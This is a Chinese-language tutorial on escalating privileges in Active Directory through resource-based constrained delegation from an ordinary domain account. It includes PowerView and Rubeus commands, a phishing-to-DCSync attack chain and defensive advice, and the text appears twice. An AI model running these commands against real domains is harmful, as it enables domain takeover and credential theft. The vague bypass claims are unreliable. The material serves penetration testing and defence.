使用普通域账户基于资源委派利用(无机器用户创建)
字数 1272 2025-09-01 11:25:53

基于资源委派的普通域账户利用技术(无机器用户创建)

概述

本文详细介绍了使用普通域账户基于资源委派(Resource-Based Constrained Delegation, RBCD)进行权限提升的技术,无需创建机器用户账户。该技术在渗透测试和红队评估中具有重要价值,能够绕过传统约束委派的一些限制。

技术背景

基于资源的约束委派(RBCD)是Windows Active Directory中的一种安全特性,允许服务账户配置哪些其他账户可以代表自己进行委派。与传统的约束委派不同,RBCD将委派控制权放在资源(服务)端而非客户端。

核心原理

  1. S4U2Self/S4U2Proxy机制:这是Kerberos协议的扩展,允许服务代表用户获取服务票据
  2. 资源委派特性:目标服务的msDS-AllowedToActOnBehalfOfOtherIdentity属性控制哪些主体可以委派到该服务
  3. 普通用户利用:通过修改目标服务的委派属性,使普通用户能够获得高权限访问

攻击流程

前置条件

  • 拥有一个普通域用户账户
  • 对目标服务账户具有写入权限(或通过其他漏洞获得相应权限)
  • 目标服务运行在支持委派的系统上(如域控制器、SQL服务器等)

详细步骤

  1. 信息收集

    • 使用PowerView或其他AD枚举工具识别潜在目标
    Get-DomainComputer -Identity <目标计算机> -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
    
  2. 配置委派属性

    • 为目标服务设置允许当前用户委派的权限
    $target = Get-DomainComputer -Identity <目标计算机>
    $sid = Get-DomainUser -Identity <当前用户> -Properties objectsid | Select -Expand objectsid
    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
    $SDBytes = New-Object byte[] ($SD.BinaryLength)
    $SD.GetBinaryForm($SDBytes, 0)
    Set-DomainObject -Identity $target -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes}
    
  3. 获取服务票据

    • 使用Rubeus工具请求服务票据
    Rubeus.exe s4u /user:<当前用户> /impersonateuser:<要模拟的用户> /msdsspn:<目标服务SPN> /altservice:<替代服务> /ptt
    
  4. 权限利用

    • 使用获得的票据访问目标服务
    • 常见利用方式包括DCSync、远程命令执行等

绕过限制的技术

绕过S4U2Self限制

  1. 利用服务账户通常具有SeImpersonatePrivilege特权
  2. 通过修改服务主体名称(SPN)来匹配目标服务

绕过S4U2Proxy限制

  1. 使用msDS-AllowedToActOnBehalfOfOtherIdentity属性直接配置委派关系
  2. 利用Kerberos票据的转发特性

防御措施

  1. 监控与检测

    • 监控对msDS-AllowedToActOnBehalfOfOtherIdentity属性的修改
    • 检测异常的Kerberos票据请求
  2. 配置加固

    • 限制普通用户对服务账户的写入权限
    • 实施最小权限原则,严格控制委派设置
  3. 架构优化

    • 使用特权访问工作站(PAW)进行管理
    • 实施AD分层管理模型

实际案例

在渗透测试中,攻击者可能通过以下路径利用此技术:

  1. 通过钓鱼获取普通域用户凭据
  2. 利用ACL漏洞或错误配置获得对某服务账户的写入权限
  3. 配置RBCD设置
  4. 获取域管理员权限票据
  5. 执行DCSync攻击获取所有域用户哈希

工具推荐

  1. PowerView:用于AD枚举和属性修改
  2. Rubeus:用于Kerberos票据操作
  3. Impacket:提供多种Kerberos相关攻击脚本
  4. BloodHound:用于可视化AD攻击路径

总结

基于资源委派的普通域账户利用技术展示了Active Directory安全配置中的潜在风险。防御者需要全面理解委派机制,实施严格的权限控制和监控,才能有效防范此类攻击。

基于资源委派的普通域账户利用技术(无机器用户创建) 概述 本文详细介绍了使用普通域账户基于资源委派(Resource-Based Constrained Delegation, RBCD)进行权限提升的技术,无需创建机器用户账户。该技术在渗透测试和红队评估中具有重要价值,能够绕过传统约束委派的一些限制。 技术背景 基于资源的约束委派(RBCD)是Windows Active Directory中的一种安全特性,允许服务账户配置哪些其他账户可以代表自己进行委派。与传统的约束委派不同,RBCD将委派控制权放在资源(服务)端而非客户端。 核心原理 S4U2Self/S4U2Proxy机制 :这是Kerberos协议的扩展,允许服务代表用户获取服务票据 资源委派特性 :目标服务的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性控制哪些主体可以委派到该服务 普通用户利用 :通过修改目标服务的委派属性,使普通用户能够获得高权限访问 攻击流程 前置条件 拥有一个普通域用户账户 对目标服务账户具有写入权限(或通过其他漏洞获得相应权限) 目标服务运行在支持委派的系统上(如域控制器、SQL服务器等) 详细步骤 信息收集 使用PowerView或其他AD枚举工具识别潜在目标 配置委派属性 为目标服务设置允许当前用户委派的权限 获取服务票据 使用Rubeus工具请求服务票据 权限利用 使用获得的票据访问目标服务 常见利用方式包括DCSync、远程命令执行等 绕过限制的技术 绕过S4U2Self限制 利用服务账户通常具有 SeImpersonatePrivilege 特权 通过修改服务主体名称(SPN)来匹配目标服务 绕过S4U2Proxy限制 使用 msDS-AllowedToActOnBehalfOfOtherIdentity 属性直接配置委派关系 利用Kerberos票据的转发特性 防御措施 监控与检测 监控对 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的修改 检测异常的Kerberos票据请求 配置加固 限制普通用户对服务账户的写入权限 实施最小权限原则,严格控制委派设置 架构优化 使用特权访问工作站(PAW)进行管理 实施AD分层管理模型 实际案例 在渗透测试中,攻击者可能通过以下路径利用此技术: 通过钓鱼获取普通域用户凭据 利用ACL漏洞或错误配置获得对某服务账户的写入权限 配置RBCD设置 获取域管理员权限票据 执行DCSync攻击获取所有域用户哈希 工具推荐 PowerView :用于AD枚举和属性修改 Rubeus :用于Kerberos票据操作 Impacket :提供多种Kerberos相关攻击脚本 BloodHound :用于可视化AD攻击路径 总结 基于资源委派的普通域账户利用技术展示了Active Directory安全配置中的潜在风险。防御者需要全面理解委派机制,实施严格的权限控制和监控,才能有效防范此类攻击。